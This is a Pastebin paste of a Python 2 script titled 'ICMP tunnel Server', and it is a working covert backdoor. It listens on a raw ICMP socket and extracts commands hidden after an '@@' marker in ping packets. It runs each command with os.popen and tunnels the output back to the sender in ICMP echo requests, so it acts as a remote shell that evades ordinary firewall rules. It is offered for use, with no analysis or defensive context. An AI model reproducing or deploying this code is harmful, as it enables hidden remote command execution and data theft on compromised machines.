debasishgang7

ICMP tunnel Server

Mar 8th, 2012
5,850
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.99 KB | None | 0 0
  1. import os, sys, socket, struct, select, time , threading ,re
  2.  
  3.  
  4. ICMP_ECHO_REQUEST = 8
  5.  
  6.  
  7. def checksum(source_string):
  8.    
  9.     sum = 0
  10.     countTo = (len(source_string)/2)*2
  11.     count = 0
  12.     while count<countTo:
  13.         thisVal = ord(source_string[count + 1])*256 + ord(source_string[count])
  14.         sum = sum + thisVal
  15.         sum = sum & 0xffffffff
  16.         count = count + 2
  17.  
  18.     if countTo<len(source_string):
  19.         sum = sum + ord(source_string[len(source_string) - 1])
  20.         sum = sum & 0xffffffff
  21.  
  22.     sum = (sum >> 16)  +  (sum & 0xffff)
  23.     sum = sum + (sum >> 16)
  24.     answer = ~sum
  25.     answer = answer & 0xffff
  26.     # Swap bytes.
  27.     answer = answer >> 8 | (answer << 8 & 0xff00)
  28.     return answer
  29.  
  30.  
  31. def send_one_ping(my_socket, dest_addr, ID, onlydata):
  32.     data = "@@"+onlydata
  33.     dest_addr  =  socket.gethostbyname(dest_addr)
  34.     # Header is type (8), code (8), checksum (16), id (16), sequence (16)
  35.     my_checksum = 0
  36.     # Make a dummy heder with a 0 checksum.
  37.     header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1)
  38.     bytesInDouble = struct.calcsize("d")
  39.     #data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  40.     # Calculate the checksum on the data and the dummy header.
  41.     my_checksum = checksum(header + data)
  42.     header = struct.pack(
  43.         "bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1
  44.     )
  45.     packet = header + data
  46.     my_socket.sendto(packet, (dest_addr, 1)) # Don't know about the 1
  47.  
  48.  
  49. def do_one(dest_addr, timeout,payload):
  50.     icmp = socket.getprotobyname("icmp")
  51.     try:
  52.         my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
  53.     except socket.error, (errno, msg):
  54.         if errno == 1:
  55.             # Operation not permitted
  56.             msg = msg + (
  57.                
  58.             )
  59.             raise socket.error(msg)
  60.         raise # raise the original error
  61.  
  62.     my_ID = os.getpid() & 0xFFFF
  63.  
  64.     send_one_ping(my_socket, dest_addr, my_ID,payload)
  65.     my_socket.close()
  66.     return delay
  67.  
  68. #dest = "192.168.157.128"  #the destination ip
  69. delay = 1
  70.  
  71. def execute(cmd):
  72.     output = os.popen(cmd)
  73.     return output
  74.  
  75. #HOST = '192.168.157.1'  #This is the listening Host.
  76. HOST = raw_input("Enter the interface to listen: ")
  77. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
  78. s.bind((HOST, 0))
  79. s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  80. s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
  81. print "Server Started......"
  82. for i in range(1,2000):
  83. #while 1:
  84.     data = s.recvfrom(65565)
  85.     d1 = str(data[0])
  86.     data1 = re.search('@@(.*)', d1)
  87.     command = data1.group(0)
  88.     cmd = command[2:]
  89.     if i%2 == 0:
  90.         d = data[1]
  91.         d1 = str(d)
  92.         ip = d1[2:-5]
  93.         #print ip
  94.         print cmd   # Holding the command to execute
  95.         print ip    #Hoslding the destination address to send the ping
  96.         output = execute(cmd)
  97.         for line in output.readlines():
  98.             do_one(ip,delay,line)
  99. s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
Advertisement
Add Comment
Please, Sign In to add comment